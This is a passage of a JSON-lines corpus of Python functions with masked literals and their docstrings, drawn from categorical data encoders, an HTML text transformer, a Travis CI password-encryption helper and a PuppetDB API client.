y)<EOL><DEDENT>elif self.model == '<STR_LIT>':<EOL><INDENT>self.mapping = self._train_pooled(X_ordinal, y)<EOL><DEDENT>elif self.model == '<STR_LIT>':<EOL><INDENT>self.mapping = self._train_beta(X_ordinal, y)<EOL><DEDENT>elif self.model == '<STR_LIT>':<EOL><INDENT>unique = y.unique()<EOL>if len(unique) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(len(unique)) + \"<STR_LIT>\")<EOL><DEDENT>if y.isnull().any():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if np.max(unique) < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if np.min(unique) > <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.mapping = self._train_log_odds_ratio(X_ordinal, y)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(self.model) + \"<STR_LIT>\")<EOL><DEDENT>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and binary y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Binary target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f4003:c0:m1"}
{"signature": "def transform(self, X, y=None, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT>if y is not None:<EOL><INDENT>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = X.copy(deep=True)<EOL>X = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X = self._score(X, y)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data. When the data are used for model training,\n        it is important to also pass the target in order to apply leave one out.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n        y : array-like, shape = [n_samples] when transform by leave one out\n            None, when transform without target information (such as transform test set)\n\n\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f4003:c0:m2"}
{"signature": "def fit_transform(self, X, y=None, **fit_params):", "body": "return self.fit(X, y, **fit_params).transform(X, y)<EOL>", "docstring": "Encoders that utilize the target must make sure that the training data are transformed with:\n    transform(X, y)\nand not with:\n    transform(X)", "id": "f4003:c0:m3"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f4003:c0:m9"}
{"signature": "def fit(self, X, y, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.use_default_cols:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>categories = self.fit_leave_one_out(<EOL>X, y,<EOL>cols=self.cols<EOL>)<EOL>self.mapping = categories<EOL>X_temp = self.transform(X, y, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f4004:c0:m1"}
{"signature": "def transform(self, X, y=None, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim,))<EOL><DEDENT>if y is not None:<EOL><INDENT>y = util.convert_input_vector(y, X.index).astype(float)<EOL>if X.shape[<NUM_LIT:0>] != y.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(X.shape[<NUM_LIT:0>]) + \"<STR_LIT>\" + str(y.shape[<NUM_LIT:0>]) + \"<STR_LIT:.>\")<EOL><DEDENT><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = self.transform_leave_one_out(<EOL>X, y,<EOL>mapping=self.mapping<EOL>)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n        y : array-like, shape = [n_samples] when transform by leave one out\n            None, when transform without target information (such as transform test set)\n\n\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f4004:c0:m2"}
{"signature": "def fit_transform(self, X, y=None, **fit_params):", "body": "return self.fit(X, y, **fit_params).transform(X, y)<EOL>", "docstring": "Encoders that utilize the target must make sure that the training data are transformed with:\n     transform(X, y)\nand not with:\n    transform(X)", "id": "f4004:c0:m3"}
{"signature": "def transform_leave_one_out(self, X_in, y, mapping=None):", "body": "X = X_in.copy(deep=True)<EOL>random_state_ = check_random_state(self.random_state)<EOL>if y is not None:<EOL><INDENT>y = y.astype('<STR_LIT>')<EOL>for cat_col in X.select_dtypes('<STR_LIT>').columns.values:<EOL><INDENT>X[cat_col] = X[cat_col].cat.add_categories(-<NUM_LIT>)<EOL><DEDENT>X = X.fillna(-<NUM_LIT>)<EOL><DEDENT>for col, colmap in mapping.items():<EOL><INDENT>level_notunique = colmap['<STR_LIT:count>'] > <NUM_LIT:1><EOL>unique_train = colmap.index<EOL>unseen_values = pd.Series([x for x in X_in[col].unique() if x not in unique_train])<EOL>is_nan = X_in[col].isnull()<EOL>is_unknown_value = X_in[col].isin(unseen_values.dropna())<EOL>if self.handle_unknown == '<STR_LIT:error>' and is_unknown_value.any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if y is None:    <EOL><INDENT>level_means = ((colmap['<STR_LIT>'] + self._mean) / (colmap['<STR_LIT:count>'] + <NUM_LIT:1>)).where(level_notunique, self._mean)<EOL>X[col] = X[col].map(level_means)<EOL><DEDENT>else:<EOL><INDENT>temp = y.groupby(X[col]).agg(['<STR_LIT>', '<STR_LIT>'])<EOL>X[col] = (temp['<STR_LIT>'] - y + self._mean) / (temp['<STR_LIT>'] + <NUM_LIT:1>)<EOL><DEDENT>if self.handle_unknown == '<STR_LIT:value>':<EOL><INDENT>X.loc[is_unknown_value, col] = self._mean<EOL><DEDENT>elif self.handle_unknown == '<STR_LIT>':<EOL><INDENT>X.loc[is_unknown_value, col] = np.nan<EOL><DEDENT>if self.handle_missing == '<STR_LIT:value>':<EOL><INDENT>X.loc[is_nan & unseen_values.isnull().any(), col] = self._mean<EOL><DEDENT>elif self.handle_missing == '<STR_LIT>':<EOL><INDENT>X.loc[is_nan, col] = np.nan<EOL><DEDENT>if self.sigma is not None and y is not None:<EOL><INDENT>X[col] = X[col] * random_state_.normal(<NUM_LIT:1.>, self.sigma, X[col].shape[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>return X<EOL>", "docstring": "Leave one out encoding uses a single column of floats to represent the means of the target variables.", "id": "f4004:c0:m6"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f4004:c0:m7"}
{"signature": "def fit(self, X, y=None, **kwargs):", "body": "self.base_n_encoder.fit(X, y, **kwargs)<EOL>return self<EOL>", "docstring": "Fit encoder according to X and y.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f4005:c0:m1"}
{"signature": "def transform(self, X, override_return_df=False):", "body": "return self.base_n_encoder.transform(X)<EOL>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f4005:c0:m2"}
{"signature": "def inverse_transform(self, X_in):", "body": "return self.base_n_encoder.inverse_transform(X_in)<EOL>", "docstring": "Perform the inverse transformation to encoded data.\n\nParameters\n----------\nX_in : array-like, shape = [n_samples, n_features]\n\nReturns\n-------\np: array, the same size of X_in", "id": "f4005:c0:m3"}
{"signature": "def get_feature_names(self):", "body": "return self.base_n_encoder.get_feature_names()<EOL>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f4005:c0:m4"}
{"signature": "def fit(self, X, y=None, **kwargs):", "body": "<EOL>X = util.convert_input(X)<EOL>self._dim = X.shape[<NUM_LIT:1>]<EOL>if self.cols is None:<EOL><INDENT>self.cols = util.get_obj_cols(X)<EOL><DEDENT>else:<EOL><INDENT>self.cols = util.convert_cols_to_list(self.cols)<EOL><DEDENT>if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>self.ordinal_encoder = OrdinalEncoder(<EOL>verbose=self.verbose,<EOL>cols=self.cols,<EOL>handle_unknown='<STR_LIT:value>',<EOL>handle_missing='<STR_LIT:value>'<EOL>)<EOL>self.ordinal_encoder = self.ordinal_encoder.fit(X)<EOL>ordinal_mapping = self.ordinal_encoder.category_mapping<EOL>mappings_out = []<EOL>for switch in ordinal_mapping:<EOL><INDENT>values = switch.get('<STR_LIT>')<EOL>col = switch.get('<STR_LIT>')<EOL>column_mapping = self.fit_backward_difference_coding(col, values, self.handle_missing, self.handle_unknown)<EOL>mappings_out.append({'<STR_LIT>': col, '<STR_LIT>': column_mapping, })<EOL><DEDENT>self.mapping = mappings_out<EOL>X_temp = self.transform(X, override_return_df=True)<EOL>self.feature_names = X_temp.columns.tolist()<EOL>if self.drop_invariant:<EOL><INDENT>self.drop_cols = []<EOL>generated_cols = util.get_generated_cols(X, X_temp, self.cols)<EOL>self.drop_cols = [x for x in generated_cols if X_temp[x].var() <= <NUM_LIT>]<EOL>try:<EOL><INDENT>[self.feature_names.remove(x) for x in self.drop_cols]<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if self.verbose > <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(e))<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Fits an ordinal encoder to produce a consistent mapping across applications and optionally finds\n        generally invariant columns to drop consistently.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n            Training vectors, where n_samples is the number of samples\n            and n_features is the number of features.\n        y : array-like, shape = [n_samples]\n            Target values.\n\n        Returns\n        -------\n\n        self : encoder\n            Returns self.", "id": "f4006:c0:m1"}
{"signature": "def transform(self, X, override_return_df=False):", "body": "if self.handle_missing == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isnull().any().bool():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>if self._dim is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>X = util.convert_input(X)<EOL>if X.shape[<NUM_LIT:1>] != self._dim:<EOL><INDENT>raise ValueError('<STR_LIT>' % (X.shape[<NUM_LIT:1>], self._dim, ))<EOL><DEDENT>if not self.cols:<EOL><INDENT>return X<EOL><DEDENT>X = self.ordinal_encoder.transform(X)<EOL>if self.handle_unknown == '<STR_LIT:error>':<EOL><INDENT>if X[self.cols].isin([-<NUM_LIT:1>]).any().any():<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>X = self.backward_difference_coding(X, mapping=self.mapping)<EOL>if self.drop_invariant:<EOL><INDENT>for col in self.drop_cols:<EOL><INDENT>X.drop(col, <NUM_LIT:1>, inplace=True)<EOL><DEDENT><DEDENT>if self.return_df or override_return_df:<EOL><INDENT>return X<EOL><DEDENT>else:<EOL><INDENT>return X.values<EOL><DEDENT>", "docstring": "Perform the transformation to new categorical data.\n\n        Parameters\n        ----------\n\n        X : array-like, shape = [n_samples, n_features]\n\n        Returns\n        -------\n\n        p : array, shape = [n_samples, n_numeric + N]\n            Transformed values with encoding applied.", "id": "f4006:c0:m2"}
{"signature": "def get_feature_names(self):", "body": "if not isinstance(self.feature_names, list):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return self.feature_names<EOL><DEDENT>", "docstring": "Returns the names of all transformed / added columns.\n\nReturns\n-------\nfeature_names: list\n    A list with all feature names transformed or added.\n    Note: potentially dropped features are not included!", "id": "f4006:c0:m5"}
{"signature": "def djeffify_string(string_to_djeff):", "body": "string_to_djeff = re.sub(r'<STR_LIT>', '<STR_LIT:d>', string_to_djeff, flags=re.IGNORECASE)  <EOL>string_to_djeff = re.sub(r'<STR_LIT>', '<STR_LIT>', string_to_djeff, flags=re.IGNORECASE)  <EOL>string_to_djeff = re.sub(r'<STR_LIT>', '<STR_LIT>', string_to_djeff, flags=re.IGNORECASE)  <EOL>return string_to_djeff<EOL>", "docstring": "Djeffifies string_to_djeff", "id": "f4011:m0"}
{"signature": "def djeffify_html(rendered_string):", "body": "parser = DjeffParser()<EOL>parser.feed(rendered_string)<EOL>return parser.djhtml<EOL>", "docstring": "This function contains the core logic for a\nmiddleware, template tag or Template engine approach", "id": "f4011:m1"}
{"signature": "def __init__(self, convert_charrefs=True, *args, **kwargs):", "body": "<EOL>try:<EOL><INDENT>HTMLParser.__init__(self, convert_charrefs=convert_charrefs)<EOL><DEDENT>except TypeError:<EOL><INDENT>HTMLParser.__init__(self)<EOL><DEDENT>self.djhtml = '<STR_LIT>'<EOL>", "docstring": "Explicitly set convert_charrefs to keep deprecation warnings at bay.\n\nSee:\nhttps://docs.python.org/3/library/html.parser.html#html.parser.HTMLParser", "id": "f4011:c2:m0"}
{"signature": "def handle_data(self, data):", "body": "if data.strip():<EOL><INDENT>data = djeffify_string(data)<EOL><DEDENT>self.djhtml += data<EOL>", "docstring": "Djeffify data between tags", "id": "f4011:c2:m3"}
{"signature": "def load_key(pubkey):", "body": "try:<EOL><INDENT>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>except ValueError:<EOL><INDENT>pubkey = pubkey.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>", "docstring": "Load public RSA key, with work-around for keys using\n    incorrect header/footer format.\n\n    Read more about RSA encryption with cryptography:\n    https://cryptography.io/latest/hazmat/primitives/asymmetric/rsa/", "id": "f4013:m0"}
{"signature": "def encrypt(pubkey, password):", "body": "key = load_key(pubkey)<EOL>encrypted_password = key.encrypt(password, PKCS1v15())<EOL>return base64.b64encode(encrypted_password)<EOL>", "docstring": "Encrypt password using given RSA public key and encode it with base64.\n\n    The encrypted password can only be decrypted by someone with the\n    private key (in this case, only Travis).", "id": "f4013:m1"}
{"signature": "def fetch_public_key(repo):", "body": "keyurl = '<STR_LIT>'.format(repo)<EOL>data = json.loads(urlopen(keyurl).read().decode())<EOL>if '<STR_LIT:key>' not in data:<EOL><INDENT>errmsg = \"<STR_LIT>\".format(repo)<EOL>errmsg += \"<STR_LIT>\"<EOL>raise ValueError(errmsg)<EOL><DEDENT>return data['<STR_LIT:key>']<EOL>", "docstring": "Download RSA public key Travis will use for this repo.\n\n    Travis API docs: http://docs.travis-ci.com/api/#repository-keys", "id": "f4013:m2"}
{"signature": "def prepend_line(filepath, line):", "body": "with open(filepath) as f:<EOL><INDENT>lines = f.readlines()<EOL><DEDENT>lines.insert(<NUM_LIT:0>, line)<EOL>with open(filepath, '<STR_LIT:w>') as f:<EOL><INDENT>f.writelines(lines)<EOL><DEDENT>", "docstring": "Rewrite a file adding a line to its beginning.", "id": "f4013:m3"}
{"signature": "def update_travis_deploy_password(encrypted_password):", "body": "config = load_yaml_config(TRAVIS_CONFIG_FILE)<EOL>config['<STR_LIT>']['<STR_LIT:password>'] = dict(secure=encrypted_password)<EOL>save_yaml_config(TRAVIS_CONFIG_FILE, config)<EOL>line = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>prepend_line(TRAVIS_CONFIG_FILE, line)<EOL>", "docstring": "Update the deploy section of the .travis.yml file\n    to use the given encrypted password.", "id": "f4013:m6"}
{"signature": "def events(self, **kwargs):", "body": "return self.__api.events(query=EqualsOperator(\"<STR_LIT>\", self.hash_),<EOL>**kwargs)<EOL>", "docstring": "Get all events for this report. Additional arguments may also be\n        specified that will be passed to the query function.", "id": "f4024:c1:m4"}
{"signature": "def facts(self, **kwargs):", "body": "return self.__api.facts(query=EqualsOperator(\"<STR_LIT>\", self.name),<EOL>**kwargs)<EOL>", "docstring": "Get all facts of this node. Additional arguments may also be\n        specified that will be passed to the query function.", "id": "f4024:c4:m4"}
{"signature": "def fact(self, name):", "body": "facts = self.facts(name=name)<EOL>return next(fact for fact in facts)<EOL>", "docstring": "Get a single fact from this node.", "id": "f4024:c4:m5"}
{"signature": "def resources(self, type_=None, title=None, **kwargs):", "body": "if type_ is None:<EOL><INDENT>resources = self.__api.resources(<EOL>query=EqualsOperator(\"<STR_LIT>\", self.name),<EOL>**kwargs)<EOL><DEDENT>elif type_ is not None and title is None:<EOL><INDENT>resources = self.__api.resources(<EOL>type_=type_,<EOL>query=EqualsOperator(\"<STR_LIT>\", self.name),<EOL>**kwargs)<EOL><DEDENT>else:<EOL><INDENT>resources = self.__api.resources(<EOL>type_=type_,<EOL>title=title,<EOL>query=EqualsOperator(\"<STR_LIT>\", self.name),<EOL>**kwargs)<EOL><DEDENT>return resources<EOL>", "docstring": "Get all resources of this node or all resources of the specified\n        type. Additional arguments may also be specified that will be passed\n        to the query function.", "id": "f4024:c4:m6"}
{"signature": "def resource(self, type_, title, **kwargs):", "body": "resources = self.__api.resources(<EOL>type_=type_,<EOL>title=title,<EOL>query=EqualsOperator(\"<STR_LIT>\", self.name),<EOL>**kwargs)<EOL>return next(resource for resource in resources)<EOL>", "docstring": "Get a resource matching the supplied type and title. Additional\n        arguments may also be specified that will be passed to the query\n        function.", "id": "f4024:c4:m7"}
{"signature": "def reports(self, **kwargs):", "body": "return self.__api.reports(<EOL>query=EqualsOperator(\"<STR_LIT>\", self.name),<EOL>**kwargs)<EOL>", "docstring": "Get all reports for this node. Additional arguments may also be\n        specified that will be passed to the query function.", "id": "f4024:c4:m8"}
{"signature": "def connect(host='<STR_LIT:localhost>', port=<NUM_LIT>, ssl_verify=False, ssl_key=None,<EOL>ssl_cert=None, timeout=<NUM_LIT:10>, protocol=None, url_path='<STR_LIT:/>',<EOL>username=None, password=None, token=None):", "body": "return BaseAPI(host=host, port=port,<EOL>timeout=timeout, ssl_verify=ssl_verify, ssl_key=ssl_key,<EOL>ssl_cert=ssl_cert, protocol=protocol, url_path=url_path,<EOL>username=username, password=password, token=token)<EOL>", "docstring": "Connect with PuppetDB. This will return an object allowing you\n    to query the API through its methods.\n\n    :param host: (Default: 'localhost;) Hostname or IP of PuppetDB.\n    :type host: :obj:`string`\n\n    :param port: (Default: '8080') Port on which to talk to PuppetDB.\n    :type port: :obj:`int`\n\n    :param ssl_verify: (optional) Verify PuppetDB server certificate.\n    :type ssl_verify: :obj:`bool` or :obj:`string` True, False or filesystem \\\n            path to CA certificate.\n\n    :param ssl_key: (optional) Path to our client secret key.\n    :type ssl_key: :obj:`None` or :obj:`string` representing a filesystem\\\n            path.\n\n    :param ssl_cert: (optional) Path to our client certificate.\n    :type ssl_cert: :obj:`None` or :obj:`string` representing a filesystem\\\n            path.\n\n    :param timeout: (Default: 10) Number of seconds to wait for a response.\n    :type timeout: :obj:`int`\n\n    :param protocol: (optional) Explicitly specify the protocol to be used\n            (especially handy when using HTTPS with ssl_verify=False and\n            without certs)\n    :type protocol: :obj:`None` or :obj:`string`\n\n    :param url_path: (Default: '/') The URL path where PuppetDB is served\n    :type url_path: :obj:`None` or :obj:`string`\n\n    :param username: (optional) The username to use for HTTP basic\n            authentication\n    :type username: :obj:`None` or :obj:`string`\n\n    :param password: (optional) The password to use for HTTP basic\n            authentication\n    :type password: :obj:`None` or :obj:`string`\n\n    :param token: (optional) The x-auth token to use for X-Authentication\n    :type token: :obj:`None` or :obj:`string`", "id": "f4025:m0"}
{"signature": "def json_to_datetime(date):", "body": "return datetime.datetime.strptime(date, '<STR_LIT>').replace(<EOL>tzinfo=UTC())<EOL>", "docstring": "Tranforms a JSON datetime string into a timezone aware datetime\n    object with a UTC tzinfo object.\n\n    :param date: The datetime representation.\n    :type date: :obj:`string`\n\n    :returns: A timezone aware datetime object.\n    :rtype: :class:`datetime.datetime`", "id": "f4027:m0"}
{"signature": "def versioncmp(v1, v2):", "body": "def normalize(v):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return [int(x) for x in re.sub(r'<STR_LIT>', '<STR_LIT>', v).split(\"<STR_LIT:.>\")]<EOL><DEDENT>try:<EOL><INDENT>return cmp(normalize(v1), normalize(v2))<EOL><DEDENT>except NameError:<EOL><INDENT>return (normalize(v1) > normalize(v2)) - (<EOL>normalize(v1) < normalize(v2))<EOL><DEDENT>", "docstring": "Compares two objects, x and y, and returns an integer according to the\n    outcome. The return value is negative if x < y, zero if x == y and\n    positive if x > y.\n\n    :param v1: The first object to compare.\n    :param v2: The second object to compare.\n\n    :returns: -1, 0 or 1.\n    :rtype: :obj:`int`", "id": "f4027:m1"}
{"signature": "def __init__(self, host='<STR_LIT:localhost>', port=<NUM_LIT>, ssl_verify=True,<EOL>ssl_key=None, ssl_cert=None, timeout=<NUM_LIT:10>, protocol=None,<EOL>url_path=None, username=None, password=None, token=None):", "body": "self.api_version = '<STR_LIT>'<EOL>self.host = host<EOL>self.port = port<EOL>self.ssl_verify = ssl_verify<EOL>self.ssl_key = ssl_key<EOL>self.ssl_cert = ssl_cert<EOL>self.timeout = timeout<EOL>self.token = token<EOL>if url_path:<EOL><INDENT>if not url_path.startswith('<STR_LIT:/>'):<EOL><INDENT>url_path = '<STR_LIT:/>' + url_path<EOL><DEDENT>if url_path.endswith('<STR_LIT:/>'):<EOL><INDENT>url_path = url_path[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>url_path = '<STR_LIT>'<EOL><DEDENT>self.url_path = url_path<EOL>if username and password:<EOL><INDENT>self.username = username<EOL>self.password = password<EOL><DEDENT>else:<EOL><INDENT>self.username = None<EOL>self.password = None<EOL><DEDENT>self._session = requests.Session()<EOL>self._session.headers = {<EOL>'<STR_LIT>': '<STR_LIT:application/json>',<EOL>'<STR_LIT>': '<STR_LIT:application/json>',<EOL>'<STR_LIT>': '<STR_LIT:utf-8>'<EOL>}<EOL>if self.token:<EOL><INDENT>self._session.headers['<STR_LIT>'] = self.token<EOL><DEDENT>if protocol is not None:<EOL><INDENT>protocol = protocol.lower()<EOL>if protocol not in ['<STR_LIT:http>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.protocol = protocol<EOL><DEDENT>elif self.ssl_key is not None and self.ssl_cert is not None:<EOL><INDENT>self.protocol = '<STR_LIT>'<EOL><DEDENT>elif self.token is not None:<EOL><INDENT>self.protocol = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self.protocol = '<STR_LIT:http>'<EOL><DEDENT>", "docstring": "Initialises our BaseAPI object passing the parameters needed in\n        order to be able to create the connection strings, set up SSL and\n        timeouts and so forth.", "id": "f4028:c0:m0"}
{"signature": "@property<EOL><INDENT>def version(self):<DEDENT>", "body": "return self.api_version<EOL>", "docstring": "The version of the API we're querying against.\n\n        :returns: Current API version.\n        :rtype: :obj:`string`", "id": "f4028:c0:m1"}
{"signature": "@property<EOL><INDENT>def base_url(self):<DEDENT>", "body": "return '<STR_LIT>'.format(<EOL>proto=self.protocol,<EOL>host=self.host,<EOL>port=self.port,<EOL>url_path=self.url_path,<EOL>)<EOL>", "docstring": "A base_url that will be used to construct the final\n        URL we're going to query against.\n\n        :returns: A URL of the form: ``proto://host:port``.\n        :rtype: :obj:`string`", "id": "f4028:c0:m2"}
{"signature": "@property<EOL><INDENT>def total(self):<DEDENT>", "body": "if self.last_total is not None:<EOL><INDENT>return int(self.last_total)<EOL><DEDENT>", "docstring": "The total-count of the last request to PuppetDB\n        if enabled as parameter in _query method\n\n        :returns Number of total results\n        :rtype :obj:`int`", "id": "f4028:c0:m3"}
{"signature": "def _normalize_resource_type(self, type_):", "body": "return '<STR_LIT>'.join([s.capitalize() for s in type_.split('<STR_LIT>')])<EOL>", "docstring": "Normalizes the type passed to the api by capitalizing each part\n        of the type. For example:\n\n        sysctl::value -> Sysctl::Value\n        user -> User", "id": "f4028:c0:m4"}
{"signature": "def _url(self, endpoint, path=None):", "body": "log.debug('<STR_LIT>'.format(<EOL>endpoint, path))<EOL>try:<EOL><INDENT>endpoint = ENDPOINTS[endpoint]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise APIError<EOL><DEDENT>url = '<STR_LIT>'.format(<EOL>base_url=self.base_url,<EOL>endpoint=endpoint,<EOL>)<EOL>if path is not None:<EOL><INDENT>url = '<STR_LIT>'.format(url, quote(path))<EOL><DEDENT>return url<EOL>", "docstring": "The complete URL we will end up querying. Depending on the\n        endpoint we pass in  this will result in different URL's with\n        different prefixes.\n\n        :param endpoint: The PuppetDB API endpoint we want to query.\n        :type endpoint: :obj:`string`\n        :param path: An additional path if we don't wish to query the\\\n                bare endpoint.\n        :type path: :obj:`string`\n\n        :returns: A URL constructed from :func:`base_url` with the\\\n                apropraite API version/prefix and the rest of the path added\\\n                to it.\n        :rtype: :obj:`string`", "id": 